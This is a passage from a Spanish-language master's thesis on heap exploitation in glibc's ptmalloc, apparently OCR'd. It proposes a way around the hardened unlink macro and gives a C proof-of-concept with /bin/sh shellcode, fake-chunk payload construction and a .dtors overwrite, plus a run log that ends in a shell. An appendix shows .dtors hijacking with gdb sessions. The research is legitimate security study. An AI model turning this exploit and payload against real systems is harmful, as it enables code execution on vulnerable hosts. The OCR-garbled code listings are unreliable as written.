Este hecho le lleva a uno a plantearse la utilidad de estas técnicas. ;Por qué no
han tenido mas repercusion o por qué no se utilizan mas a menudo? La primera
respuesta plausible es que debido a su dificultad la mayoria de gente se enfoca en
otras metodologias para conseguir la ejecucion de cédigo arbitrario cuando descubren
una vulnerabilidad, sin embargo, si se descubre un heap overflow no hay otro modo de
ejecutar cdédigo arbitrario a menos que se pueda sobrescribir un puntero a una funcion,
con lo que vistas las repercusiones de desbordar un bufer en el heap e intentar llevar
a cabo, por ejemplo, The House of Mind, no creo que nadie temiera por dificultad de
la técnica. En resumen, entender las técnicas retratadas en el Malloc Maleficarum no
es trivial, pero no es ni mucho menos algo tan complejo como para que al dedicérsele
un buen tiempo no se pudiera entender sin problemas.

Lo que me lleva a lo que creo que es el principal problema de estas técnicas. Los
requisitos que necesitan para llevarse a cabo. Por un lado, The House of Prime parece
que solo funciona en versiones de la glibc inferiores, las demas técnicas necesitan
tener control sobre algin dato en el stack, a parte de los otros muchos requisitos,
y la vulnerabilidad de The House of Mind estd solucionada. Pero lo que es mas
incongruente no es todo esto, sino que por ejemplo, con la técnica de The House of
Mind, que es la mas conocida por ser la mas viable se necesita conocer la direccion
exacta de uno de los fragmentos de memoria. ;Y qué sentido tiene esto? ;A caso
teniendo este conocimiento no seriamos capaces de utilizar la técnica unlink como si
viviéramos en tiempos mas felices?

5.2. Sobre Unlink

Las preguntas expuestas en el apartado anterior nos llevan a lo que bien podria
ser el renacer de la técnica unlink. Si es cierto que las técnicas del Malloc Malefica-
rum pueden aplicarse en software real, lo expuesto en este apartado sin duda tendria
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que significar el resurgir de la técnica unlink. Evidentemente, esta hipdtesis se fun-
damenta en un razonamiento sin sentido, pero dicho razonamiento se me plantea de
manera obvia después de haber estudiado todas estas técnicas. Posiblemente esté ob-
viando algin dato o esté incurriendo en algiin error en mi planteamiento porque de
ser correcto significaria que técnicas como The House of Mind no son mas que un
ejercicio intelectual que en nada facilitan, en comparacion a las técnicas existentes,
la explotacién del heap. Veamos a lo que me refiero.

Por un lado tenemos que en The House of Mind, se necesita la direccién del
primer fragmento de memoria, p. Esto es necesario para llevar a cabo la técnica y
conseguir ejecutar codigo arbitrario. Sin embargo, a parte de necesitar la direccion de
p, Phantasmal Phantasmagoria descubrié un nuevo vector de ataque que, por des-
gracia, tenia muchos otros requisitos como por ejemplo poder ubicar un fragmento de
memoria en direcciones de memoria del estilo 0x081xxxxx. La técnica de The House
of Mind, al igual que todas las otras técnicas del Malloc Maleficarum, eran muchisimo
mas complejas que la técnica existente hasta el momento, con lo que, evidentemen-
te, llevarla a cabo en un escenario real era mucho mas dificil. Pero ;qué podriamos
conseguir sabiendo la direccién de un fragmento de memoria p mediante la técnica
unlink?

Por un lado tenemos que unlink dejé de ser funcional cuando la macro se modi-
fico de tal modo que quedé tal y como se muestra en el Codigo [51}

/+ Take a chunk off a bin list =/
#define unlink (P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked 1list", P);
else {
FD->bk
BK->fd

BK;
FD;

PP A e

Cédigo 51.  Comprobacién en la macro unlink (malloc.c:1986)

Si se conociera la direccién de P antes de ejecutar el exploit, tal y como es requisito
en The House of Mind, jse podria evadir la medida de seguridad implementada en
unlink?

Tal y como se ha detallado en otros capitulos, para explotar la vulnerabilidad en
unlink, el campo f£d del fragmento a desenlazar debe apuntar a la direcciéon donde
se encuentra la seccion .dtors + 4 - 12 bytes. Para refrescar la memoria, los 4 bytes
de méas eran para sobrescribir el destructor declarado en la prueba de concepto y la
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resta de 12 bytes se debia al offset de 12 bytes que se introducia con la instruccién
FD->bk = BK de la macro unlink.

Asi pues, si antes de realizar el primer free () que ejecutaria la macro unlink se
sobrescribiera la direcciéon de memoria dénde empieza la seccion .dtors 4 4 bytes con
la direccién del fragmento P, la condiciéon FD->bk != P de la nueva macro unlink
dejaria de cumplirse ya que FD->bk apuntaria a P. Llevar a cabo esta acciéon no
serfa un problema ya que es posible escribir en dicha direccion de memoria si se le
asignan los permisos adecuados.

Por otro lado, el campo bk del fragmento P apunta al shellcode que se va a utilizar.
Si en un offset de 8 bytes desde el inicio del shellcode se escribiera la direccion del
fragmento P la condicion BK->fd != P también dejaria de cumplirse. Este paso
no tiene ningin problema ya que el contenido del shellcode se puede controlar y
los primeros 12 bytes del shellcode son basura con lo que se pueden sobrescribir sin
ningiin problema.

Veamos si es cierto. En el Cédigo [52| se muestra el coédigo fuente de la prueba de
concepto que demuestra lo dicho hasta el momento.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define PAYLOAD_SIZE 531

void world_destruction () __ _attribute__ ( (destructor));
void build _payload (char x, wvoid x);

char shellcode[]= /* jmp 12 + 12 nops */
"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/* shellcode by vlian7 and sch3m4 */
"\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9o"
"\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main (int argc, char *x argv) {

char crafted_data[700] = {0};

char » ptr_1 (char ) malloc (512);
char » ptr_2 = (char x) malloc (512);
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/+ Obtain the page size of the system #*/
int pagesize = sysconf (_SC_PAGE_SIZE);
if ( pagesize == -1) {
perror ("[-] Page size could not be obtained");
exit (EXIT_FAILURE) ;
}
/#* Obtain an aligned memory region in order to mprotect it x/
void * real_shell;
if ( posix_memalign (&real_shell, pagesize, sizeof (shellcode)) ) {
perror ("[+] Aligned memory could not be obtained");
exit (EXIT_FAILURE) ;
}
/+ Copy the shellcode to the executable region obtained with memalign
*/
memcpy (real_shell, shellcode, sizeof (shellcode));
/+ Making shellcode location executable */
mprotect (real_shell, pagesize, PROT_WRITE | PROT_EXEC) ;
/% Making DTORS section writable */
mprotect ( (voidx) 0x8049000, pagesize, PROT_WRITE) ;
/* The payload is built #*/
build_payload(crafted_data, real_ shell);

unsigned long * dtors_ptr = (unsigned long x)0x08049flc;
xdtors_ptr = (unsigned long ) ( ptr_2 - 0x8);
memcpy (real_shell + 8, dtors_ptr, 4);

memcpy (ptr_1, crafted_data, PAYLOAD_SIZE);

free(ptr_1);

printf ("First free executed.\n");
// free(ptr_2);

printf ("Second free commented.\n");

return 0O;

void build _payload(char * crafted_data, wvoid x sc_addr) {

char str_dtor_ptr([5] = {0};
char * seek = crafted_data;

/+ Trash =/

memset (seek, @', 516);

seek += 516;

/+ size of second freed chunk. Hexadecimal 16 value #*/

/* PREV_INUSE bit set. Avoid consolidate backward (unlink) on 2nd
free =/

memcpy (seek, "\x11\x00\x00\x00", 4);

seek += 4;

/* fd of second freed chunk. dtors_end — 12 x/
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memcpy (str_dtor_ptr, "\x10\x9f\x04\x08", 4);

memcpy (seek, str_dtor_ptr, 4);

seek += 4;

/* bk of second freed chunk. Shellcode address #*/

memcpy (seek, &sc_addr, 4);

seek += 4;

/* Trash =/

memset (seek, @', 12);

seek += 12;

/% size of fake chunk. PREV_INUSE bit unset. -8 value x/
/+* triggers unlink in the nextinuse of the first free() */
memcpy (seek, "\xXf8\xff\xff\xff", 4);

seek += 4;

/* Trash */

memset (seek, @', 12);

seek += 12;

/+ Size of the second fake chunk */

/#* 1f the PREV_INUSE bit is set, the unlink is not triggered */
/* 1n the second free () *x/

memcpy (seek, "\x41Q@@E@", 4);

seek += 4;

void world_destruction () {}

Cédigo 52. Evasion de las medidas de seguridad en la macro unlink

Como se puede ver, se utiliza la misma metodologia que cuando en apartados
anteriores se explotaba el heap via la macro unlink. Lo cierto es que este codigo es el
que se comentaba en el apartado |4 cuando se hablaba de utilizar un offset positivo.
Las lineas 50, 51 y 52 son las que escriben la direccién de P en la seccion .dtors y en
el shellcode. Debido a que el fragmento que se desenlaza es el siguiente a pt r_lm

P es el fragmento de memoria donde se almacenan los datos de ptr_2.
Al ejecutarse la prueba de concepto se obtiene lo siguiente:

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ gcc
the_great_unlink.c -o the_great_unlink

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ ./
the_great_unlink

First free executed.

Second free commented.

$ id

uid=1000 (newlog) gid=1000 (newlog) groups=1000 (newlog), 4 (adm), 20 (dialout),b 24 (cdrom), 46 (
plugdev), 111 (lpadmin), 119 (admin), 122 (sambashare)

$ exit

Cédigo 53. Ejecucion de la prueba de concepto

31Recordar que en la técnica de unlink, el primer free() es el que ejecuta la sobrescritura en la

secciéon .dtors.

I6)




Como se puede ver, se ha ejecutado el shellcode. Destacar que el segundo free ()
en el cédigo de la prueba de concepto esta comentado ya que lanzaba el error
invalid next size (fast). Se deberia ajustar el payload de modo que es-
to no ocurriera, sin embargo, el objetivo de este apartado ya estd cumplido. Con
la ejecucién de sélo un free () y mediante la técnica unlink se ha podido ejecutar
cédigo arbitrario en la glibc 2.12.1. A parte de posibles detalles en el payload y si no
se han anadido nuevas medidas de seguridad en la macro unlink, esta técnica deberia
funcionar sin ningin problema en las versiones més recientes de la glibc.

Todo esto me lleva a preguntarme el porqué de técnicas como The House of
Mind. Evidentemente, segiin mi opinién, The House of Mind es una técnica subli-
me, genial. Después de mucho tiempo utilizando las mismas técnicas para explotar
el heap aparecié el Malloc Maleficarum como si fuera una bocanada de aire fresco.
Enfoco desde otro prisma las vulnerabilidades en la gestion de la memoria dinamica.
Abriendo nuevos caminos hacia la explotacion del heap. Fue algo positivo para la co-
munidad. Tanto para los hackers como para los desarrolladores de la glibc porqué les
permitié implementar la gestion de la memoria dindmica en Linux de un modo mas
robusto. Es por esto que jamas ha sido mi intencién infravalorar el potencial de di-
chas técnicas, simplemente me ha sorprendido que nadie més haya visto o publicado
la idea que aqui se ha planteado.
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6. Lineas de futuro

Aun habiendo llevado a cabo esta investigacion ain han quedado muchas cosas
en el tintero.
Existen muchos conceptos por estudiar en cuanto a la explotacién del modo en que se
gestiona la memoria dindmica en Linux. Por un lado, se deberia estudiar cémo afectan
las medidas de seguridad implementadas en el sistema operativo. La principal medida
de seguridad a evadir es ASLR. Debido a su uso, un mismo programa no siempre
ubica las variables o los segmentos del binario en las mismas direcciones de memoria
en diferentes ejecuciones. Esto hace que las diferentes técnicas que se han mostrado
en esta investigacion no se puedan extrapolar directamente a los sistemas operativos
mas actuales debido a la necesidad de conocer de antemano la direcciéon de ciertos
fragmentos de memoria. Con todo y con eso, existen ciertos mecanismos para evadir
esta medida de seguridad. Varios investigadores han encontrado diferentes modos de
vulnerar ASLR, el primero de ellos fue [11] y evidentemente lo publicé en el ezine
Phrack. Después vinieron otros como [19], [20], [18] o [10].
Por tanto, el siguiente paso légico seria estudiar todos los conceptos detras de los
mecanismos de mitigacion para intentar extrapolar las técnicas detalladas en esta
investigacion a los sistemas operativos actuales.

El siguiente paso seria estudiar ain mas el algoritmo ptmalloc. El iltimo reporte
de una vulnerabilidad en el modo de gestionar la memoria dindmica en Linux data
del 2005[26]. Han pasado casi 8 anos y no se ha publicado ninguna otra vulnerabili-
dad. Este hecho, en el mundo de la seguridad informatica, es bastante insélito.

Se deberia estudiar todos aquellos fragmentos de cédigo en los que se trabaja con los
punteros a los datos del usuario. Se deberia buscar en el cddigo fuente todas aquellas
apariciones del puntero p, bk o fd. En el caso de que ocurriera un heap overflow
estos datos serian los que un atacante podria controlar. Se deberian estudiar todas
las operaciones que se hacen con ellos, saber cual es el flujo de ejecucion para llegar
al punto en el que se utilizan e investigar si con esas operaciones entre los punteros
en algiin momento se escriben datos en memoria.

Otro vector de ataque a estudiar serian las posibilidades que introduce poder con-
trolar los datos de la estructura arena tal y como ocurre con la técnica The House of
Mind. Pensar en la modificacion de los arrays de bins, fastbins o unsorted chunks, de
modo que dichos arrays apunten a direcciones de memoria con algin tipo de interés
para poder ejecutar cédigo arbitrario al anadir fragmentos de memoria modificados
por el atacante. Por otro lado, en estos 7 anos pueden haber aparecido nuevos vec-
tores de ataque. Los fragmentos de memoria actuales contienen dos campos nuevos,
fd_nextsize y bk_nextsize. Estos campos también se desenlazan al ejecutar la
macro unlink asi que seria interesante estudiar si se pueden llevar acciones parecidas
a las que se llevan a cabo con el puntero fd y bk.

Por 1ltimo, en esta investigacién se ha estudiado la gestion de la memoria dinami-
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ca a nivel de usuario. Existen otros algoritmos utilizados para gestionar la memoria
dindamica cuando se estd programando a nivel de kernel. La gestién de la memoria
dindmica en el kernel de Linux se realiza a través del algoritmo llamado SLUB. En
la version 2.6.23 del kernel este algoritmo se convirtié en el algoritmo por defecto
para realizar la gestién de la memoria dinamica. Asi que seria de interés realizar un
estudio de vulnerabilidades tal y como se ha hecho en esta investigacion.
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7. Conclusiones

Al término de la investigacion los resultados obtenidos son positivos. El fruto mas
significativo es la obtencién de varias técnicas de explotacion del sistema con el que
se gestiona la memoria dindmica en el sistema operativo GNU/Linux que no existian
o no se habian publicado anteriormente. Evidentemente, este resultado supera con
creces las expectativas que se tenfan en un principio.

El principal problema al llevar a cabo esta investigacion ha sido la falta de do-
cumentaciéon. En cuanto a la primera parte del trabajo, donde se detallaba exhaus-
tivamente el funcionamiento del heap, mayormente la informacién detallada ha sido
extraida del propio cddigo fuente. El tinico documento existente sobre el tema se
puede encontrar en [12] que a pesar de ser sélo un draft y de ser imposible obtener
el trabajo al completo, es el inico documento que realmente realiza un buen estudio
sobre el algoritmo utilizado para implementar la gestion de la memoria dinamica.
Sin duda, ha sido de gran ayuda aun cuando ciertas explicaciones hacian referencia
a estructuras de datos desfasadas en comparaciéon a la versién de la glibc que se ha
tratado en esta investigacion.

Lo mas sorprendente es que ni el desarrollador del algoritmo ptmalloc2, ni los pro-
gramadores de la glibc hayan desarrollado ningun tipo de documentacion exhaustiva
sobre el funcionamiento del algoritmo.

A pesar de todas estas dificultades, es justo decir que se ha conseguido dar una idea
concisa de como se gestiona la memoria dindamica. Y si bien es cierto que muchos
conceptos se han obviado, este hecho no ha sido fruto del azar o la ignorancia, sino
que la decisién ha sido tomada de manera consciente con el objetivo de darle al lector
los conocimientos necesarios para entender todos los conceptos que se iban a tratar
en los siguientes capitulos de la investigacion.

Ademas, se cree que el modo de detallar las funcionalidades del algoritmo, citando el
archivo de codigo fuente y el nimero de linea, da confianza al lector para adentrarse
por él mismo en el cédigo fuente y poder obtener los conocimientos necesarios para
seguir desde el punto donde esta investigacion lo ha dejado. Por otro lado, documen-
tar con esta metodologia el cédigo fuente que implementa el algoritmo permite al
lector comprobar cada una de las afirmaciones hechas en esta investigacion, y no son
pocas las afirmaciones que contradicen lo publicado en otros articulos de este campo.

En cuanto a la segunda parte de esta investigacion, tal y como ya se ha comen-
tado, los resultados obtenidos han sido muy satisfactorios. El haber realizado un
estudio exhaustivo del algoritmo me ha permitido obtener una visiéon de conjunto
del funcionamiento del heap. Del mismo modo, empezar a estudiar las técnicas uti-
lizadas en el pasado para explotar el heap hasta llegar a las técnicas més actuales
también me ha permitido obtener una visién global del estado del arte. Gracias a este
proceso de estudio, conociendo los origenes e ir evolucionando hasta la actualidad,
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me ha permitido descubrir una modificacion a la técnica de explotacién utilizada en
el pasado, que con menos requerimientos que las técnicas actuales, tenia las mismas
repercusiones.

En mi opinién, el descubrimiento de esta modificacién de la técnica unlink, es trivial,
sin embargo, es posible que para llegar a este punto se necesitara obtener la visién
de conjunto que se ha mencionado. Sin conocer las técnicas del pasado, cémo se so-
lucionaron y hacia dénde han evolucionado, jamas me hubiera dado cuenta de que
con uno de los requisitos de las técnicas actuales se podia vulnerar la solucién que
utilizaron para neutralizar la técnica unlink - la que se utilizaba en el pasado.

También es importante darse cuenta de que las técnicas utilizadas para vulnerar
el algoritmo encargado de realizar la gestion de la memoria dinamica no sélo son
aplicables a este algoritmo. El modo en el que se gestionan los datos en este algo-
ritmo es débil de por si. Una gran lecciéon aprendida a partir de esta investigacion
es que es muy peligroso mezclar los datos de control del algoritmo con los datos del
usuario. La solucién a este problema es realmente dificil y posiblemente pase por
la implementacién de medidas de seguridad a nivel de sistema operativo tales como
ASLR.

Con esto quiero decir que seguro que existen cientos de algoritmos utilizados en otros
lugares que cometen el mismo error y las técnicas plasmadas en esta investigacién
de bien seguro que se pueden extrapolar a otros algoritmos.

Por tltimo, también me gustarfa remarcar la importancia del Apéndice [B] Aun
siendo un apéndice, la relevancia de los datos explicados en €l es de suma importancia.
Los mecanismos introducidos por los desarrolladores del compilador gcec han hecho
que muchos de los exploits existentes a fecha de hoy se hayan vuelto obsoletos del
dia a la manana. Todos aquellos exploits que utilizaban la sobrescritura de la seccién
.dtors como vector para ejecutar codigo arbitrario han quedado obsoletos a menos
que se hayan amoldado a las nuevas medidas de seguridad implementadas por el
compilador. Estas nuevas medidas de seguridad han pasado desapercibidas por la
mayoria con lo que existen muy pocas referencias publicadas al respecto. Es por
esta razon que publicarlas en una investigacién como esta, ayudara a promover el
conocimiento de dichas medidas de seguridad.

30



8. Coste temporal

A continuacién se muestra una estimacién del tiempo dedicado al desarrollo de
esta investigacion. Evidentemente, es imposible realizar un control exacto del nimero
de horas invertido en esta investigacién. Sin embargo, el hecho de haber sido metédico
durante cierto tiempo me permite tener una idea general del tiempo utilizado.

Con todo y con eso, la idea principal con la que se deberia quedar el lector es el
porcentaje de horas utilizadas en cada apartado en vez de fijarse en el nimero exacto
de horas.

Concepto Horas | Porcentaje
Documentacion 150 27.27
Realizacion parte tedrica 225 40.9
Realizacion parte practica | 175 31.81
Horas totales 550 100

Tabla 3. Coste temporal

Como se puede ver, el nimero de horas estimado para la documentacién es el mas

bajo. Realmente, esta afirmacion es enganosa ya que llevo muchos anos formandome
en el campo de la investigacién de vulnerabilidades y su explotacién. El nimero de
horas reales de lectura realmente sobrepasaria con creces el estimado. Sin embargo,
s6lo se ha hecho un calculo aproximado del niimero de horas invertidas en la docu-
mentacién desde el momento en el que se decidio realizar esta investigacion.
El nimero de horas registrado como realizacién de la parte tedrica es el mas con-
flictivo debido a que se hace realmente dificil diferenciar en este apartado y el de la
documentacién. Ambos conceptos estan bastante relacionados, pero es evidente que
en el desarrollo del texto se ha invertido mas tiempo que en la documentacion.

A diferencia de otros trabajos en el campo de la ingenierfa informatica, en esta
investigacion se ha invertido més tiempo en el desarrollo de los conceptos tedricos
que no en el desarrollo del software en si. Esto se debe, en primer lugar, a que
este trabajo es realmente una investigacion. Se han estudiado de forma exhaustiva
muchos conceptos sobre los cuales no existia documentacion o ésta estaba obsoleta.
Por tanto, el proceso de investigacién ha tenido que ser exhaustivo y minucioso. Por
otro lado, una vez construida toda la base tedrica, la parte de software a construir
ha sido pequena en comparacion a la base tedrica ya que el software construido sélo
ha servido para corroborar lo explicado.
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A. Apéndice 1

Cargando librerias externas via LD_PRELOAD

En este apéndice se detalla el modo por el cual es posible utilizar funciones para
la gestion de la memoria dindmica que sean externas a la glibc. De este modo se con-
seguird que cuando un programa ejecute una funcién como por ejemplo malloc (),
se ejecute la funcion malloc () implementada en una libreria externa.

En el caso que concerniente a esta investigacion, las funciones que se ejecutaran seran
aquellas implementadas en el algoritmo original ptmalloc, de modo que, a diferencia
de lo que ocurriria en un sistema GNU/Linux configurado por defecto, la libreria
estandar de C instalada en el sistema no tendra ningin efecto en el momento de eje-
cutar las funciones relacionadas con la gestion de la memoria dindmica del sistema.

El primer paso a seguir es descargar el codigo del algoritmo ptmalloc de su pagina
web original El
Una vez descargado se debe descomprimir con el comando:

tar xvfi ptmallocZ2-current.tar.gz

El contenido de la carpeta descomprimida deberia ser el siguiente:

Cédigo 54. Archivos del algoritmo ptmalloc

32C6digo ptmallocihttp ://www.malloc.de/malloc/ptmalloc2-current.tar.gz
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Para compilar el codigo solo seria necesario ejecutar el comando make shared.
Sin embargo, si se ejecuta dicho comando se obtiene el siguiente error:

newlog@ubuntu: ~/Downloads/ptmalloc2$ make shared

cc -shared -fpic -g -O —-DUSE_TSD_DATA HACK -D_REENTRANT -Isysdeps/generic -
DTHREAD STATS=1 malloc.c malloc-stats.c -o malloc.so

In file included from malloc.c:1484:

malloc.h:72: warning: "__ THROW" redefined

/usr/include/sys/cdefs.h:47: note: this is the location of the previous definition

malloc.c: In function ’'mremap_chunk’ :

malloc.c:3307: error: ’'MREMAP MAYMOVE’ undeclared (first use in this function)

malloc.c:3307: error: (Each undeclared identifier is reported only once

malloc.c:3307: error: for each function it appears in.)

In file included from malloc-stats.c:27:

malloc.h:72: warning: "__ THROW" redefined

/usr/include/sys/cdefs.h:47: note: this is the location of the previous definition

make: *** [malloc.so] Error 1

newlog@ubuntu: ~/Downloads/ptmalloc2$

Cédigo 55. Compilacién erronea de ptmalloc

Para solucionar este error basta con ir a la linea 693 del archivo malloc.c y mo-
dificar el siguiente codigo:

#ifndef HAVE_MREMAP

#ifdef linux
#define HAVE MREMAP 1
f#felse
##define HAVE_MREMAP O
#endif
Cédigo 56. HAVE_MREMAP igual a 1 (malloc.c:693)
Por:

#ifndef HAVE_MREMAP
#ifdef linux

#define HAVE_MREMAP 0
#else

#define HAVE_MREMAP O
#endif

Cédigo 57. HAVE_MREMAP igual a 0 (malloc.c:693)
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Esta modificacién no afecta al funcionamiento del algoritmo dadas las funciones
que se tratan en esta investigacién, asi que este cambio en el cédigo es superfluo.
Una vez realizado dicho cambio basta con ejecutar el comando de nuevo:

Codigo 58.  Compilacién correcta de ptmalloc

Tal y como se puede ver, se ha generado un nuevo archivo llamado malloc.so.
Esta es la libreria que se debe cargar por tal de evitar que se ejecuten las funciones
de la glibc. Para hacerlo basta con ejecutar los siguientes comandoslﬂ

Cédigo 59. LD_PRELOAD

Para eliminar esta variable de las variables de entorno y que el comportamiento del
sistema vuelva a ser el mismo, basta con ejecutar el comando unset LD_PRELOAD.

Por 1ltimo, y de modo opcional, si el lector tiene intencién de ir mas alld en
el estudio del algoritmo, le seria de ayuda compilar el cédigo con soporte para dar

33Informacién sobre LD_PRELOAD:
ttp://en.wikilpedia.org/wiki/Dynamic_linker#ELF-based_Unix—-like_systems
h // i kipedi /wiki/ ic_linker# b d i lik
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informacion sobre las macros utilizadas una vez lo esté depurando con gdb@. Para
conseguirlo, se deben anadir ciertos parametros en el archivo Makefile.

Se debe anadir la siguiente variable en la linea 51 (aunque no debe ser necesariamente
en la linea 51):

MACRO_INFO = —-gdwarf-2 —-g3

Cédigo 60. Informacién para las macros (Makefile:51)

A continuacién se debe modificar la linea 73 del mismo archivo para que quede
tal que asi:

malloc.so: malloc.c malloc-stats.c malloc.h
S (CC) S (MACRO_INFO) $(OPT_FLAGS) $(SH_FLAGS) $(CFLAGS) $S(
M_FLAGS) malloc.c malloc-stats.c —-o $@

Cédigo 61. Nuevos flags para la compilacién (Makefile:73)

Como se puede ver, sélo se ha anadido la variable MACRO_INFO al conjunto de
flags utilizados en el momento de la compilacién.
Gracias a esto, cuando el lector esté depurando el cédigo fuente del algoritmo, sera ca-
paz de obtener informacién sobre las macros utilizadas en el coédigo gracias a los
comandos del depurador gdb utilizados con dicho objetivo.

34Informacién sobre el depurador gdb:
http://www.gnu.org/software/gdb/
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B. Apéndice II

Sobrescribiendo la seccidon .dtors en el 2012

Se conoce como .dtors la seccién de un ejecutable ELF donde se almacenan las
direcciones en memoria de las funciones a ejecutar una vez dicho binario se haya
ejecutado. Dichas funciones se conocen con el nombre de destructores. El Codigo
servird para entender mejor como funcionan los destructores y la seccion .dtors.

#include <stdio.h>
void destructor (void) _ attribute_  ((destructor));
int main (void) {

printf ("Primero se ejecuta el main.\n");

printf ("Despues, salta a 0x%x\n", (unsigned int) &destructor);
return 0;

void destructor (void) {
printf ("Y se ejecuta destructor.\n");

Cédigo 62. Destructor de ejemplo

Si se compila y ejecuta el Codigo [62] se obtiene lo siguiente:

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ gcc destructor.c -o destructor
-9

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ ./destructor

Primero se ejecuta el main.

Despues, salta a 0x8048426

Y se ejecuta destructor.

Cédigo 63. Compilacién y ejecucion del destructor

Como se puede ver, el orden de ejecucion es claro. Primero se ejecuta la funcién
main y después se ejecuta el destructor.
Por otro lado, con la linea 8 del Cddigo [62] se obtiene que el codigo ejecutable de la
funcion destructor estd ubicado a partir de la direccién 0x8048426. Aqui es donde
entra la seccion .dtors del ejecutable. Si todo es correcto, en dicha seccién debe
aparecer la direccién de memoria donde se almacena el codigo del destructor:
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newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ objdump -s -j .dtors ./
destructor

./destructor: file format elf32-i386
Contents of section .dtors:

8049f18 ffffffff 26840408 00000000 cooofloocooooo
newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$

Codigo 64. Objdump .dtors section

Con la herramienta objdump se puede mostrar informacion sobre ejecutables.

Especificamente, con la opcién -5 se le dice a objdump que muestre informacion sobre
una secciéon en especial del ejecutable. En el caso mostrado, de la secciéon .dtors. El
flag -s especifica que se muestre todo el contenido de la seccién especificada.
La salida de objdump se debe interpretar del siguiente modo. Una vez el binario
destructor se ejecute, su seccion .dtors se almacenara en la direccion de memoria
0x8049f18. Los contenidos de dicha seccién son esos tres conjuntos de 4 bytes: fffftf
26840408 00000000. El primer conjunto de 4 bytes - fffffff - indica el inicio de dicha
seccion, y el iltimo conjunto de 4 bytes - 00000000 - indica el fin de la seccién.
Por tltimo, el conjunto de 4 bytes, 26840408, representa la direccion en [ittle endian
donde se almacena el codigo ejecutable del destructor. Tal y como se ha mostrado
al ejecutar el codigo, la direccion es 0x08048426. Destacar que si el cédigo fuente no
hubiera tenido ningin destructor, la seccién .dtors seguiria existiendo, sin embargo,
s6lo tendria los primeros 4 bytes a 1 y los ultimos 4 bytes a 0, indicando el principio
y el final de la seccion.

Se hace evidente que si se pudiera sobrescribir el valor donde se encuentra la
direccion del destructor, se podria llegar a ejecutar cualquier codigo almacenado en
memoria. El Codigo [65] esta programado a tal efecto.

#include <stdio.h>

void destructor (void) _ attribute_ ((destructor));
void hijack (void) ;

int main (void) {

printf ("Primero se ejecuta el main.\n");

printf ("Despues, salta a 0x%x\n", (unsigned int) s&destructor);
unsigned int x dtr_section = (unsigned int x)0x8049f18 + 0x4;
+*dtr_section = (unsigned int) &hijack;

return O;

void destructor (void) {
printf ("Y se ejecuta destructor.\n");
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void hijack (void) {
printf ("Hijack\n") ;

Cédigo 65. Intento para sobrescribir la seccion .dtors

Como se puede ver, en la linea 10 se crea un puntero que apunta a la direccién de
memoria 0x8049flc. Dicha direccion es donde empieza la seccién .dtors (0x8049f18)
mas 4 bytes. Justo donde se ubica el conjunto de 8 bytes 26840408, después de
ftfftf. A continuacién, con la linea 11, se sobrescribe el valor 26840408, ubicado
en la direccién 0x8049flc que es donde apunta la variable dtr_section, por la
direccion de memoria donde se ubica la funcién hijack. Si se ejecutara este codigo,
deberian aparecer los dos print fs del main y acto seguido el printf de la funcién
hijack. A continuaciéon se muestra lo que ocurre:

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ gcc destructor.c -o destructor
-9

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ ./destructor

Primero se ejecuta el main.

Despues, salta a 0x8048439

Violacidén de segmento

Codigo 66. Ejecucién del Codigo

A diferencia de lo que se creia, la ejecucién del Cédigo |65(no ha sido satisfactoria.
Sélo se han ejecutado los dos primeros print fs. Para entender lo que ocurre primero
se deberia depurar el cédigo con gdb.

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ gdb -q destructor

Leyendo simbolos desde /home/newlog/Documents/TFM/Heap/heap_exploiting/codes/destructor
...hecho.

(gdb) b main

Punto de interrupcidén 1 at 0x80483fd: file destructor.c, line 8.

(gdb) r

Starting program: /home/newlog/Documents/TFM/Heap/heap_exploiting/codes/destructor

Breakpoint 1, main () at destructor.c:8
8 printf ("Primero se ejecuta el main.\n");
(gdb) n

Primero se ejecuta el main.

9 printf ("Despues, salta a Ox%\n", (unsigned int) &destructor);
(gdb)

Despues, salta a 0x8048439

10 unsigned int * dtr_section = (unsigned int x) (0x8049£f18 + 0x4);
(gdb)

11 *dtr_section = (unsigned int) &hijack;

(gdb) x dtr_section

0x8049flc <_ DTOR_LIST +4>: 0x08048439

(gdb) x/3x 0x8049f18

0x8049f18 <_ DTOR _LIST >: Oxffffffff 0x08048439 0x00000000
(gdb) next

Program received signal SIGSEGV, Segmentation fault.
0x08048430 in main () at destructor.c:11

11 *dtr_section = (unsigned int) &hijack;

(gdb) x/3x 0x8049f18
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0x8049f18 < DTOR LIST >: Oxffffffff 0x08048439 0x00000000
(gdb) quit
Una sesidén de depuracién estd activa.

Inferior 1 [process 32367] will be killed.

¢Salir de cualquier modo? (y o n) y
newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$

Cédigo 67. Depuracién del Codigo

Tal y como se puede apreciar, gdb muestra que el ejecutable termina inesperada-
mente cuando se realiza la asignacion de la linea 11 del Cédigo [65] También se puede
apreciar que la variable dt r__section apunta a la direccion 0x8049f1c que es donde
se encuentra la direccion de la funcion destructor. Hasta aqui todo es correcto, sin
embargo, al realizar la escritura en memoria a través del puntero dtr_section, el
programa recibe un SIGSEGV y como se puede ver en la siguiente linea, la direccion
de memoria 0x8049flc sigue conteniendo el valor 0x08048439, que es la direccién a
la funcién destructor. Esto demuestra que la escritura no se ha realizado.

De estos datos se puede deducir que la pagina de memoria donde se ubica la seccion
.dtors no tiene permisos de escritura.

Sin embargo, la herramiento readelf muestra lo contrario:

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ readelf -S ./destructor | grep
dtors
